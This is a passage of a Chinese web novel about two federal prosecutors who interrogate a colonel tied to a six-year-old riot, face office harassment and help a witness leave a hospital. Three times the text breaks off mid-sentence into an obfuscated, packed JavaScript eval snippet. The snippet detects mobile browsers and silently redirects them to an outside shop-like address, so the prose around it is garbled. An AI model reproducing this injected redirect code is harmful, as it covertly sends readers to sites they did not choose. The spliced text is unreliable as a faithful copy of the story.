浑身的骨头仿佛被剧烈挤压着咯吱咯吱地磨得生疼,方鉴云一手痛到徒劳地抓着沙发的布料,另一只手艰难地握住刚刚掉在沙发上的手机,拖拽回来,凑到哆嗦的唇边。 “刚刚跑得太急,运动有点剧烈,”他每说几个字就要倒一口气,身子蜷缩起来,闭上眼睛,“也或许是阴雨天的缘故……啊……” 方鉴云颤抖得近乎痉挛,一手又抓着电话,好几次差点从沙发上滑落下来,最后不得不以近乎爬一般狼狈的姿势将自己一点点挪到稍微宽大一些的美人榻上,这才长舒了口气,一手撑着后腰,有气无力地揉捏起来。 电话那边,楚江澈不知第多少次叹气。 “你这是何苦呢。” 方鉴云干笑一声,躺在榻上,随手将手机放在一旁,伸手拔出脑后的发簪,一头乌黑柔软的长发散开,凌乱的发丝微微遮住青年本就瘦得快没有巴掌大的脸。 屋里没有开灯,方鉴云一身素黑,唯独肌肤雪白,整个人仿佛溶解在黑暗里的一幅鲜明的水墨画。他疼得奄奄一息,微微侧过身子,消瘦身体紧绷起一个不堪弯折的脆弱线条,接着把手伸到衬衫胸前的口袋,拿出一个小小的、半旧的护身符。 六年过去,那护身符不可避免地褪色了,却仿佛依然是这寂寂的黑暗里,唯一一点赤色的热忱。 窗外风雨如晦,方鉴云把护身符贴在心口,虚弱地笑了笑。 “就当我是个要死的人,让一让我吧。”他说,“他忘了没关系,有我记着就好。” 电话那头楚江澈仿佛隔空长了眼睛: “你还戴着他送你的护身符?” 方鉴云轻轻嗯了声,指尖划过护身符上凸起的刺绣纹路。 “是姻缘符,”他说,“一直都戴着,形影不离。” * 一阵天旋地转,闻序忽然发现,自己身处一片兵荒马乱之中。 “快跑!” 他控制不了自己的身体,却能听见自己大喊着,抓紧了一个少年的手,把人从狭窄的楼梯上拖拽下来,楼上忽然一阵震耳欲聋的巨响,灰尘四溅! “小心,楼板要塌!” 他抓住少年的肩膀,两个人几乎从几级台阶上摔了下来,闻序顾不得疼痛,爬起身拽着人就外跑,忽然一股相反方向的力量扯住了他的胳膊。 “我不走!”少年哭喊着,浑身颤抖,“爸爸妈妈他们还在上面,我要去救他们!阿序你放手——” 闻序咬紧了后槽牙,干脆将人拦腰扛起来,少年一声短促的惊呼,剧烈挣扎: “阿序!闻序!!” 楼上传来凌乱的脚步声,有人厉声大喝: “那…家的小孩还在楼下,见到就开枪,别留活口!” 肩膀上扛着的那副纤细的身躯抖如筛糠,闻序听见少年的啜泣声瞬间凝滞了,他一脚踹开门,憋着一口气冲到街上。 残阳如血,街道上同样乱成了一锅粥,不知何处十数声枪声响起,街上四散奔逃的人群里爆发出阵阵惊恐的尖叫,马路上无数车辆不得不被失去秩序的人流逼停,轮胎在地面擦过道道黑色的车辙。 闻序把人放下来,揽着他躲到一个拐角,将已然腿软到站不住的少年护在怀中,单手去捧住对方惨白的脸,一遍遍确认地唤道: “…,还好吗?振作点,这里太危险了,必须赶紧离开!” 枪声与爆炸声交织,整个世界地动山摇。路灯闪烁着灯光忽明忽灭,少年抬起头,闻序只看到一片面容模糊,唯独那眼里破碎的泪光清楚依旧。 “他们杀了,杀了爸爸妈妈……”少年抓住闻序的衣袖,用力到指节发白,“阿序,我必须替爸爸妈妈报仇,我要他们血债血偿……!” “现在这样子你拿什么去报仇?”闻序也抓住少年的肩膀,怕对方不清醒似的用力一晃,“…你清醒点,活着要紧!你来我打工的地方避一避,等警察来了事情就会有转机的!” 少年忽然受了什么刺激般低吼:“妈妈报警了的,可没有人管我们,他们都串通好了!我要他们偿命,我要亲手——” 后颈的汗毛忽然惊悚地倒竖起来,一阵可怖的预感如鬼魅附身般席卷了闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658586|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序的天灵盖。下一秒,汽车发动机的轰鸣声从背后嗡然响彻,车灯照亮了少年身后的墙壁,以及那张骤然大惊失色的脸: “那是——是他们的人!” 闻序一个激灵,回过身。车灯晃了眼,他来不及看清挡风玻璃后对方的面孔,只见黑色的吉普车轮胎转速瞬间加快到只剩下旋转的残影,怒吼着向二人的方向撞来! 那个瞬间,闻序来不及多想,转身用力一推,将愣在原地的少年猛地推了出去! “阿序!!” 砰的一声,伴随骨头碎裂的闷响,闻序后背重重撞在墙上,脑后一阵针扎般的剧痛,身体却软绵绵地瘫软下来,滑到地上,扑通跌倒下去,眼前一阵一阵发黑,某种浓稠的、铁锈味的液体从喉咙深处涌出,他想咳嗽,可肺部却不受控制地剧烈收缩,疲惫感如涨潮般吞没了他。 闻序发誓,自己这辈子从来没有这么疼过。 ……可这样一来,那个人,便安全了吧? 意识溃散的前一刹那,他恍惚间还听到一个崩溃哭嚎着的少年的声音,可他太困了,渐渐阖上眼,慢慢失去了意识,堕入无边的黑暗。 * “——闻检查?” 闻序唔了一声,再次睁开眼,这才发现自己抱着胳膊低头坐在椅子上,后颈酸疼得要命。 一名警察站在他面前,收回想拍他肩膀的手: “谭上校已经带出来了,这边请。” 警署的走廊不算空旷,空气里弥漫着一股不通风的陈腐气息,也难怪会让人昏昏欲睡。闻序活动了一下僵硬的脖颈,低低地呼出口气。 六年来,他总会重复做这个和过去有关的梦。每次醒来时,他都仿佛刚从那混乱的纷争中又死了一次,脑内的神经噔噔地激跳着疼。 他刚醒来,思维还有点迟缓,正沉默着,忽然听到一个和那警察不同的清冽男声。 “还不走?” 闻序要起身的身形一顿。 抬头望去,方鉴云果然站在离他几步之遥的地方,穿着黑色的检察官制服,微微侧过身看向他时,脑后那根细长的发簪也斜斜地横插过来,仿佛一根外骨骼,和它的主人一样细而坚硬。 方鉴云把燃尽的烟丢进垃圾桶:“还是需要给你洗把脸清醒一下的时间?” 闻序抿唇,站起身来。 从今天来警署提审谭峥到现在,这还是他们之间第一次,也是方鉴云单方面地同他第一次交流。 闻序手插在口袋里,板着一张脸往前走去,来到方鉴云身边时,肩膀不着痕迹地一让,侧身与方鉴云擦肩而过,仿佛多沾上一秒都嫌晦气,就这样绕开他向着走廊尽头而去,姑且用沉默算作回答。 方鉴云早就料到他会有这般反应,默了一瞬,垂眸看着那警察,客套地弯了弯唇。 “辛苦了,”他说,“我们的问话不会太久。” 刚说完,走廊尽头传来门关上的闷响,走廊里两个人都愣了一下,那警察尴尬地问: “检察官先生,你那位同事他,没事吧?” 方鉴云笑笑:“他脾气就这样。哦对,他有起床气。” 说完之后方鉴云转身,丢下那个傻了眼的警察,也跟着来到一间房门外。手握住门把的一霎,方鉴云眼底的光忽然挣扎地一动,轻轻吸了口气,压下门把手,推门而入。 11. 第 11 章 推开门时,闻序已经在问询室的一边坐好了,玻璃墙的另一侧,谭峥正坐在一把折叠椅上,翘着二郎腿,看见方鉴云进来,甚至笑了一下,抬手做了个请坐的手势。 “又见面了。” 谭峥说,那模样和第一次见面他招待客人时毫无不同,仿佛把这儿当家似的轻松自如。方鉴云看了一眼眉头紧锁的搭档,拉开自己那把椅子,坐下的时候后腰的肌肉忽然一阵痉挛的抽痛,方鉴云搭在大腿上的手顿时攥紧了。 他面上依旧不为所动:“谭上校,三项报告应该已经邮寄给你本人了,对于服用违禁药物的指控,你还有没有要说的?” 谭峥耸耸肩,笑起来时眼角堆砌起细褶:“我无话可说,战区要给我什么处分,我全盘领受。不过,有一件事我很好奇,还希望二位检察官为我解答。” 方鉴云眯起眼睛,没有接茬。昨日的一时失态让今天的伤病反扑得更加凶猛,他能感觉到后腰的骨头像是被人抹布一样两头攥着拧紧了那般酸疼,问询室的椅子又没有扶手,他只能抓住大腿,替代性地一下下揉捏。 闻序这时忽然开口:“什么事?” 谭峥大爷似的靠在简陋的折叠椅上:“那位匿名举报人,是怎么想到向最高检察院提交指控令的?” 方鉴云下意识揉着腿解痛的手顿住了。 谭峥仍在笑:“闻检察你看,这人敢举报我,自然也认定他掌握了些我的把柄,但若是想让我身败名裂,向中央战区告发我,让我上军事法庭,不是比由检察院从外部介入来的更直接吗?” 闻序冷眼看着他:“有话直说。” “我怕闻检察跟不上我的思路,”谭峥笑意加深,“我在想,举报人选择求助最高检察院,要么就是怀疑我谭某人在中央战区有后台,生怕告不赢我,要么——” 他忽然倾身向前,“要么就是,举报人和最高检察院有关系,近水楼台,他更有把握,对吧?” 谭峥的这个疑问闻序并非没考虑过,可他万没想过会从谭峥本人嘴里说出。 闻序严肃道:“谭上校,保护举报人信息是检察院的铁律,我们无权谈论这件事。” 谭峥笑道:“那是自然。我服药的事,错了就是错了,我认。我就是怕闻检察你这么个正直的人,被谁当了枪使,那就太可惜了。” “谭上校,时间紧迫,我们还是谈一谈在您家中搜查到的东西吧。” 刚刚在一旁沉默不语的方鉴云忽然出声,闻序不得不把到了嘴边的话咽下去,余光瞥到方鉴云筋骨分明的手微微攥拳,随着说话有一下没一下地在腿上轻轻捶着。 然而方鉴云的说话声十分平稳:“检察院的专员通过搜查发现,您和中央战区武装部的陈泳大校有很密切的联系,甚至有金钱方面的流通。陈泳和您之间并没有工作上的直接关系吧?” 谭峥嘴角的笑收了收。 “控枪法案通过之后,陈主任负责的控枪工作非常繁重,战区要求各个部门都需要配合他们,”谭峥道,“我们虽然隶属不同的部门,但不代表没有工作上的交集。” 方鉴云:“私人交集呢?” 谭峥语气加重:“我和他没什么私人交集,主任对我有过赏识,但也只限于工作,无关其他。” 方鉴云黑漆漆的眸凝望了谭峥的扑克脸一秒,继而低头。 “是么,”他说着,弯腰想去拿刚刚放在茶几上的公文包,“可我们搜查到的证物显示……” 他话音忽然顿住,搭在腿上的手终究忍不住抬起,扶住开始发抖的腰肢。方鉴云咬牙,强撑着想去够那公文包,可腰间的肌肉牵扯着整个上半身的每一寸神经,他的另一条胳膊早就抬不起来。 可就这一霎之间,一只指节修长的大手拎起那公文包,漫不经心地一甩,公文包被丢到他的腿上。 方鉴云愣住了,抬头看去,只看到闻序盯着前方空气,青年起伏的眉弓骨骼与直挺的鼻梁延伸出弧度优美流畅的线条,清晰的下颌线紧绷着。 欲盖弥彰。 方鉴云只怔了短暂的一瞬,随即回过头,从公文包里抽出一份文件,流畅地接道: “……显示你在调入中央战区前,就已经和陈泳有往来,推测时间大概就在——” “六年前,联邦五·三一特大暴动案发生之前。” 梦境里的喧嚣如开闸洪水倾泻而出,闻序猝然回头,盯着方鉴云一开一合的双唇,震惊得久久说不出话来。 谭峥亦是一愣,语气里终于流露出蛛丝马迹的抵触情绪: “方检察,请你说话负起责任,这两件事之间能有什么联系?” 方鉴云把文件打开,放在窗台上,隔着玻璃墙推到谭峥面前。屋里一时陷入死一般的寂静。 六年前的五·三一特大暴动案,是首都有史以来最大、影响最恶劣的一次治安危机,伤亡居民、财产损失不计其数,最后甚至需要中央战区派出部队镇压,才得以平息暴乱。虽然最后惩处围剿了幕后的始作俑者、多年来盘踞首都的最大□□,可时至今日,五·三一的余波犹在,提及那一日的混乱,许多首都人仍然心有余悸。 譬如刚刚谭峥提及的控枪法案,六年前曾经一直因为联邦高层间的分歧而僵持不下,五·三一发生后,控枪法案的支持率迅速飙升,很快就得以通过。 也正是拜五·三一所赐,那日的一场车祸,夺走了闻序此生最重要的记忆。 “那我们换一个问法好了,谭上校,”方鉴云示意他看文件,“抛开五·三一不谈,你能说说当时还在东部战区的你,是为何会与中央战区的陈泳取得联系的吗?你们是同乡、同学,还是亲戚?” 谭峥嘴唇蠕动了一下,眼底闪过复杂的光:“……都不是。” “这上面显示您与陈主任之间的通信记录、您和他之间的共同行程,您作何解释?” 每抛出一个问题,谭峥便愈发阴郁一分。方鉴云瞬也不瞬地紧盯着他: “您当时在东部战区,是谁的属下?” 谭峥的笑容终于彻底消失了。 半晌。 “我在第二师团服役过,”谭峥闷声道,“是……原东部战区司令楚其琛的副官。” 闻序眉心突然一动,疑上心头。 楚其琛……这个姓氏,为何自己感到如此熟悉,甚至连这个名字都在哪听过一样? “谭上校,你刚刚说到举报人可能和我们检察院有关系,”闻序脱口而出,问,“那中央战区呢?除了和你联系密切的陈泳之外,你被羁押的这段时间,战区没有对你下达任何通知吗?” 谭峥这才侧头,把视线转移到闻序脸上,而后抬起一根手指,再闻序和方鉴云之间来回指了几下,那玩世不恭的笑意再一次慢慢回到他的眼角眉梢。 “这算什么,”谭峥语气戏谑,“你们俩是搭档吗,怎么各问各的?我都被你们搞糊涂了。” 闻序一怔,身旁的方鉴云却拉上公文包的拉链,站起身,面无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658587|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波澜。 “我没有问题了,”方鉴云轻声道,不知在说给谁听,“我出去等着,你们继续。” * 方鉴云走后不久,闻序对谭峥的问询也很快结束。一个年轻的警察走进问询室,正要掏出钥匙开门,玻璃墙另一头坐着的男人忽然道: “我今天是不是还有一个打电话的机会没用?” 小警察愣了愣。谭峥来到这儿有好几天了,被羁押的人常理来说最开始都会想办法向外界打电话求援,一天一次的外界联络根本不够用,可谭峥来的这几天始终都很镇定,一副有把握自己在这儿待不长久的样子。 “对,但要有我在场监督才行。” “成,”谭峥在玻璃上叩了两下,“把电话拿来吧。” 颐指气使的语气,仿佛他才是该看人脸色的那一个。小警察撇撇嘴,不愿多计较,很快拿了电话过来。谭峥按下一串号码,握着听筒,里面嘟嘟的几声响过后,传来一个浑厚的男声: “总算来了。长话短说,我这忙得很。” 谭峥一直没骨头似的瘫在椅子上的脊背刷一下挺直了,他把话筒贴紧,边说边点了下头: “是,主任……” 他看都没看一时瞠目的小警察,面对着反光的玻璃,脸上不自觉堆笑。 “最高检那两个人又来了,有一个生面孔,模样像是个omega,问了好些有的没的,感觉这人对我调查得很细,言语之间还捎带上了六年前的事,我怕——” “六年前的事,总巡都结案了,你还担心什么?” 电话那头不耐烦地啧了一声。谭峥一改片刻前目中无人的老爷做派,下意识咽了口口水,忙不迭道: “您说的是,是我失言……我今天找您,就是想请您帮个忙,现在那个闻序害得我出不来,否则我早就去撕了那个小贱人!” 话的末尾带上一丝激动,电话那头却兴致不高似的,哼了一声: “真没用,一个女人就把你耍的团团转。” “我当时怎么也没想到,她偷偷给另一个的水里下了药,被下药的这个还有癫痫病史!”谭峥无奈辩解,“万一她醒不过来,我现在可就百口莫辩了,主任,您不能……” “不能什么?” 谭峥到了嘴边的“过河拆桥”四个字,硬生生卡断在喉咙,脸色憋得青紫。 许久,电话那头一声轻蔑的笑: “真是废物……罢了。我早派人在医院盯着了,还帮你联系了外院的专家过来,那个女omega会醒的。再过两天,战区会有人来取保候审,到时候什么该说什么不该说,你心里有点数。” 谭峥脸上的阴霾顿时烟消云散: “那是自然,那是自然!”他喜上眉梢,“等这点烂事都过去,我请您吃饭!不,南洋的那个酒庄,到时候您随便挑选,我叫人给您打包好了送过去。” “别他妈说这些屁话了,”电话里的人粗野地骂了一句,“我还要开会,没工夫和你浪费时间。出来之后,自己找个理由滚来战区述职。” “是,主——” 啪的一声,电话毫不留情面地挂断了。谭峥长松了口气,撂下听筒,再次抬眼看向那丈二和尚摸不着头脑的小警察时,眼底掠过一丝阴森的光,忽然惬意地笑了。 他脸上浮现出比通话之前还甚的笃定神色,抱着胳膊,对小警察傲慢地一扬下巴。 “拿走吧,”他长腔懒调地说,“没你的事儿了。” 12. 第 12 章 “哟,咱们的纪检之星来啦?” 闻序跨进办公室,不出意外听到一阵酸溜溜的嘲笑声。他看都懒得看那说风凉话的人一眼,抱着一厚摞文件径直走回工位上。 自从接了谭峥的案子,他每日早出晚归,几乎都要忘记了办公室里恶劣的生存环境了。 “今天是怎么过来的啊,闻序,”有人路过他的桌旁,是那天被方鉴云拿手表敲打过的那一位,“听说你现在成了方家的贵婿,怎么样,今天有没有和小少爷一起坐车来上班?” 砰的一声,文件重重放在桌上。闻序压抑着愠怒,抬眸: “幼不幼稚啊你,打这种嘴炮。” 自打那日在检察院门口被父母丢尽了脸,闻序就料到了自己一定会有被八卦的同事们嘲笑的这一天。可那检察官似乎把几天前方鉴云捉弄他的账算在了闻序头上,不依不饶: “我说的不是实话吗?老话说,学成文武艺,货与帝王家,你这一身本事贡献给了方家少爷,助他平步青云,人家作为报答回赠你荣华富贵,这分明是一桩美事才对嘛。” 说着对方咯咯笑起来,屋里有看笑话的也跟着哄笑出声。闻序眼底躁火一动,正要说话,办公室另一头忽然有人吹了声口哨: “哎唷——说曹操曹操到啊!” 闻序一怔,侧目望去。 方鉴云一只脚刚迈进门口,仍旧背着那帆布包,往日半扎的头发今日全梳了起来,露出贴着阻隔贴的纤长藕白的颈,乌木簪子斜插在脑后。对方一时没搞清楚办公室的状况,对于自己莫名其妙获得全办公室的注视有些迷茫,脚步都跟着一顿。 他下意识环视四下,目光与闻序对视的一刻,眸光一闪,迅速挪开视线。 自提审谭峥过后,他们已经三天没有说话了。最初这只是闻序单方面的冷暴力,期间方鉴云试着和他聊工作或婚约的事,无一例外获得了闻序的臭脸,后来他倒也识相,不再热脸贴冷屁股,二人默契地各自干各自的活。 “小方,最近跟着你的未婚夫,收获颇丰吧?” 那纨绔见方鉴云,顿时来了劲儿,调转枪头,踱步向门口的青年走去,笑得恶狠狠的,脸上的肌肉都轻微扭曲:“你这么个被捧在手心里的omega,说嫁给闻序就嫁给闻序,真不知你作何感想?” 方鉴云抿着薄唇,一声不吭地看着对方。未婚夫三个字说出口的时候,闻序的手痉挛般地攥紧了,手背上青筋绷起。 那纨绔走到方鉴云面前不足半米的地方,堪堪停下。距离一拉进,方鉴云才发现,对方并不完全带着想要报复那日自己驳了他面子的仇,反而还有些玩味的、轻飘飘的挑逗,视线极不尊重地在方鉴云那张俊秀的脸上扫了几个来回,仿佛他是什么待价而沽的商品。 “明明长了张明星似的脸蛋,干嘛成天垮着脸扮清高,”那纨绔猥琐地一笑,“别和没出息的未婚夫成天混在一起,让你爸妈把婚约撤了吧。要不要下班之后一起喝一杯?” 方鉴云眼角的肌肉微微动了动,深望了那纨绔一眼,抿紧的唇角忽然一泄力,噗嗤一声,闷笑出来。 这下轮到那纨绔,以及办公室等着看戏的人们纷纷愣住了。 只见青年白皙的眼皮懒懒一掀: “你用不着这么麻烦,前辈,”他刻意把某个字眼咬得很重,“想照镜子去厕所就够了。” 办公室顿时静的可怕。连那被羞辱的家伙自己也没料到方鉴云竟如此直白,脑子都没转过弯: “你说什——!” “嫉妒比自己强的同事、对omega进行职场性骚扰,”方鉴云厌厌地看了他一眼,“前辈要是把这些精力用在工作上,早就不用靠着父母替你保住这职位了,不是么。” 没人能想到这个新来的omega能如此语出惊人,被点破了腌臜心事的检察官顿时火冒三丈,什么礼义廉耻都忘了,高高扬起拳头: “去你妈的,谁准你在老子面前说三道四!” 方鉴云却连躲的意思都没有,不置一词,冷眼站在他面前;那拳头带着劲风,眼瞅着向他鼻尖呼的挥来—— 嘭的一声□□碰撞的闷响! 有人惊魂未定地喊了声操,随即办公室各处此起彼伏地响起惊叹声。方鉴云钉在原地,站姿笔直,目光一错不错地注视前方。 那本该狠狠掴在他脸上的拳头,就截停在他眼前方寸之处,那纨绔咬紧牙根,低吼着用力一挣,却被攥着自己的那只铁钳般的大手箍得更紧。 闻序抓着他的手腕,面色沉郁,眼底眸光一凛,衬衫下隐约可见紧绷到贲张的肌肉,他猛的用力,哗地将那纨绔的手甩开,对方被惯性推得后退半步,两股不同的alpha信息素顿时如生化武器般爆炸开,在屋内剧烈地碰撞。 方鉴云嗅到,鼻尖微不可察地皱了皱,转眼看向对峙的两人。 “闻序,这就开始护夫啦?”那人怒极反笑,“你这不是挺会当狗的么。” 闻序重新上前半步,微微低头看着比自己矮了两寸的alpha,声线暗哑: “你是联邦检察官,不是什么地痞流氓。真想打架不妨冲我来,我正愁工作忙,很久没练拳了。” 那人闻言一怔,目光在闻序宽肩窄腰的精壮上身与紧实修长的双腿扫过。屋内的信息素已经浓郁到呛鼻,空气里都弥漫着看不见的硝烟味道。 有人打圆场地吆喝了一嗓子: “得了老三,处长在隔壁呢。差不多得了……” 那纨绔得了台阶,这才稍缓了神色,装腔作势地往地上啐了一口: “活该穷鬼命,也不看看自己是什么东西……” 他骂骂咧咧地转身,末了不忘瞪了默不作声的方鉴云一眼,背手而去。方鉴云压根没多给对方一个眼神,看着闻序回身拿过公文包,绕过自己出了门,心里一动,也紧跟着闻序夺门而出。 “闻序!” 他追着人来到楼梯口才唤道,声音在空荡的楼梯间回响。闻序手搭着锃亮的栏杆,半回过身。 方鉴云望着他,眼里有某种读不清的情绪,火苗般闪烁。 “刚刚的事,谢谢——” “方检查,”闻序凌然打断他,“这次是我和他们之间的恩怨牵扯到了你,算起来是我的问题。但你不是没长嘴,以后遇到这种情况,请你直接否认是我的未婚夫,而不是和别人拌嘴,惹火上身。我说明白了吗?” 方鉴云一下子愣了。好半天他才找回自己的呼吸,鼻翼轻微翁动,张了张嘴,罕见地露出隐忍的倦色,有种不得不解释什么、却又疲于应付的懈怠。 “是他出言不逊在先,”他的语气里流过一瞬即逝的委屈,“我刚说话是冲了点,但不是有意默认……” 他看到闻序那双警惕地盯着自己的铅灰色的眸子,声音渐渐弱了下去,直至化为虚无。 没用的。他看见闻序看自己的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人的眼睛瞪大了,直勾勾地盯着任晓萱化着浓妆的脸,埋着针头的手攥紧了床单,又无力地放开。任晓萱呼出口气,直起身子。 “该说的我都说了,剩下的你自己考虑,”任晓萱从包里拿出一张卡,两指夹着,塞进女人平放着的手下面,“这里面有五十万,等你出院了,我会再打二十万给你,足够你随便开一家网吧或者超市……姐姐的血汗钱都赔给你,够有诚意了吧。” 女人盯着她,面罩下干涩的双唇张了张,没能发出声音,眼底却有些湿润了。任晓萱面上终于也有所松动,伸手最后在她肩上按了按,没再说话,拎起包转身推门而去。 医院走廊里难得的安静。任晓萱拿出手机准备打电话,踩着高跟鞋哒哒地一段儿,忽然警觉地停下脚步,回头: “谁在那儿?” 无人回应,走廊仿佛幻化为一个停滞的时空间,连空气都不流动。 任晓萱皱眉,她刚刚恍惚间从走廊反光的瓷砖上看见一个人影闪过,不似这儿的护士,神出鬼没的,倒像是跟踪。 可她一个小喽啰,有什么值得人盯梢的? 好容易聚起的警惕劲儿到底还是烟消云散,她瘪嘴摇摇头,熟练地按下一串数字,风风火火走远了,很快便消失在走廊尽头。 13. 第 13 章 几个小时后。 任晓萱从住院部前台出来,手里还拿着一摞厚厚的账单,随手一卷丢进包里,边走边接起电话: “喂,哪位?” 说话的功夫,她还不忘顺便给自己嘴里丢了颗口香糖。刚嚼了两下,电话那头传来一个耳生的说话声音: “那个叫小雅的女孩儿已经醒了?” 任晓萱走过一间库房,顺手推过一把轮椅,掉头往电梯方向走。 “你哪位啊?” 她把口香糖嚼得滋滋作响。电话里的人沉声道: “我是那天的检察官,在楚家咱们见过。你是不是给小雅办理出院了?” “哦,方检察啊,”任晓萱漫不经心地哼了一声,权作打招呼,推着轮椅来到电梯口,“是,我现在准备带她出院,让那个姓萧的小伙子把她送到临市去。怎么了?” “你怎么擅自就行动了?!”电话那头有些气道,“小雅是谭峥指控案的重要证人,现在有多少双眼睛盯着她呢——就在三分钟前你办理出院之后,卫国区医院立刻就给检察院打了电话,现在所有人都知道她醒了!” 叮的一声,电梯门打开,任晓萱却惊得张开了嘴,呆在原地。后面被挡路的人不耐烦地催促: “喂,小姐,你上不上去啊?” 任晓萱这才回过神,一边推着轮椅让开路,一边握紧了手机:“那、那不是完蛋了吗!我好不容易才让她勉强答应跟我走的,要是被你们那个闻检察官拦下……” 电话里不容分说打断了她六神无主的碎碎念:“就怕不想让你们走的不止一伙人。现在开始,你不要轻举妄动,尽快把小雅带出来和萧尧汇合。电话不要挂断,放在包里,把蓝牙耳机戴上,一切行动听我指挥。” 任晓萱傻乎乎地对空气一顿点头,手忙脚乱翻出耳机戴好。电话里青年也已然从短暂的无绪中恢复过来,声音沉定,莫名给了任晓萱一些定心丸的效果。她把口香糖压在舌根底下,双手握紧轮椅把手,便听到对方字字清晰地说: “找到小雅,记得给她乔装打扮。萧尧的车还没到,在这之前,你只能靠自己。” “不在办公室,跑到这儿干什么?” 身后一声抱怨,方鉴云放下手机转身,看见闻序站在茶水间门口。 “医院说小雅已经醒了,有人替她办理了出院,”闻序虽然烦他,到底不至于把这种不敬业的情绪带到工作中,说起案子来倒也全然一丝不苟,“那姑娘的证词非常重要,她又是个黑户,走了之后我们基本查不到她的行踪,必须把人拦下来。” 方鉴云把手机屏幕熄灭,放回口袋:“你要我做什么,联系警察?” “对,”闻序道,“你报警,我去现场一趟。” 走廊的声控灯打在闻序的脸上,在高挺的鼻梁侧面打下大片阴影。方鉴云轻启双唇: “我们没有抓捕的权利。操作不当,还容易反被人家起诉一个暴力执法。” 闻序铅灰的眸光一动,半背过身,不愿与他过多争论:“如果这就是你的工作态度,我无话可说。总之我们分头行动,你要是想点到即止,报了警之后就回家吧。” 说完闻序迈开长腿,转头就走了。待人拐进另一条走廊,方鉴云也走出茶水间,走下楼梯的同时把手机重新拿出来,平淡地开口: “听见了吧?” 电话那头,任晓萱已经来到病房里,一边搀扶着浑身虚软无力的小雅艰难地把人往轮椅上搬,一边累得咬牙道: “……听见了!条子还有多久到?——你还有多久到?!” 耳机内,方鉴云的声音因为步速加快,也有些轻微的喘: “现在是晚高峰,就算是警车到这里也需要一点时间。但你别掉以轻心,医院内说不定有很多人盯着你,行动一定要低调。” 久卧病床的人虽然瘦,可任晓萱到底也是个弱女子,废了九牛二虎之力才把人挪到轮椅上,又忙不迭从包里翻出一顶鸭舌帽,扣在还戴着简易吸氧器的女孩儿头顶。 “我俩不会有生命危险吧?”她崩溃地问。 “不会,我掩护你。” 任晓萱绝望地阖了阖眼,咬牙脱下自己的小香风外套,披在穿着病号服的女孩身上,伺候姑奶奶似的抬起对方一条胳膊帮她穿衣,嘴里却无声地骂了一句脏话。 就方检察那个身段儿,倒是个盘儿靓条儿顺的,可区区一个omega怎么掩护她俩,何谈保护她的安全? “方检察,你人都没到医院,拿什么——” “别说话分散自己的注意!”电话里方鉴云再次打断她,语气较刚才陡然严厉了不少,“准备好了就推她出去,让她也别说话,越低调越好。” 任晓萱拉开门,推着轮椅走出病房,一面悻悻地看了眼女孩儿身上的小香风,还是忍不住嘟囔:“她说不了话,戴着面罩呢。穿着老娘的衣服,她也低调不到哪儿去……” 电话里没有动静,可不知道怎么的,她忽然感觉到一股无形的压力,于是不吭声了,推着人默默来到排队的电梯口。 医院里二十四小时都人满为患,往常任晓萱并不会把这人来人往的当成一回事,可今天她放眼望去,只觉得这儿的每一个人都有嫌疑,仿佛所有人都在看她,随时都会有人冲上来结果了她的小命。被害妄想症到了极点,她终于忍无可忍: “……方检察,我觉得有人在跟踪我……” 电话里,方鉴云轻轻吸了口气,语气也克制下来,甚至有些安抚的和善。 “别太紧张,正常行事就好。到一楼之后,从二号门出去。” 电梯门打开,一波人去人出,任晓萱顺利推着人进到电梯厢内。叮的一声,封闭的空间开始匀速下坠,电梯内站满了人,任晓萱为了不显眼,特意站在了电梯前方的最角落,想着出了住院部的门,到了开阔点的地方就能和萧尧汇合了,心里莫名松泛了些。 “呼……” 她自我鼓励似的长舒口气,抬起头来,下一秒,女人的眼睛对上一尘不染的电梯门板上倒映出的人影时,她整个人忽的狠狠怔住。 她看见了一双被光影扭曲了的眼睛。 就在那反光的金属门板上,目不转睛地,眨也不眨地死盯着她的背影。 电梯咚的一顿停住了,任晓萱的心也瞬间提到了嗓子眼,险些就在狭小的电梯间里放声尖叫出来。她哆嗦着抬手拨弄耳边的头发,竭力挡住露出的耳机,一边颤抖着用气声唤道: “方、方检察……” 可电梯门还没打开,现在的她处于信号丢失的状态。轮椅上的女孩儿因为过于虚弱,本就是靠意念勉强撑着的状态,此时也依然有些昏昏欲睡,眼瞅着快要坚持不住。 “该死……!” 任晓萱两股战战,怕得几乎快要流下泪来,握着轮椅把手的双手掌心早已被汗水打湿。电梯门一打开,她几乎失态地推着轮椅就冲了出去,全然不顾轮胎压到了同行人的脚: “咳咳,借过,借过!” 她一阵无礼的横冲直撞,压根不敢回头去看一眼那双模糊倒映出来的眼睛的主人,却依然能清晰低感知到那目光如鬼魅般附着在她背后,凉森森的,让人汗毛倒竖。耳机里一阵电流涌动的嘈杂,紧接着咔哒一声,不知道谁做了些什么,随后传来手机被拿起的声音: “任晓萱?” 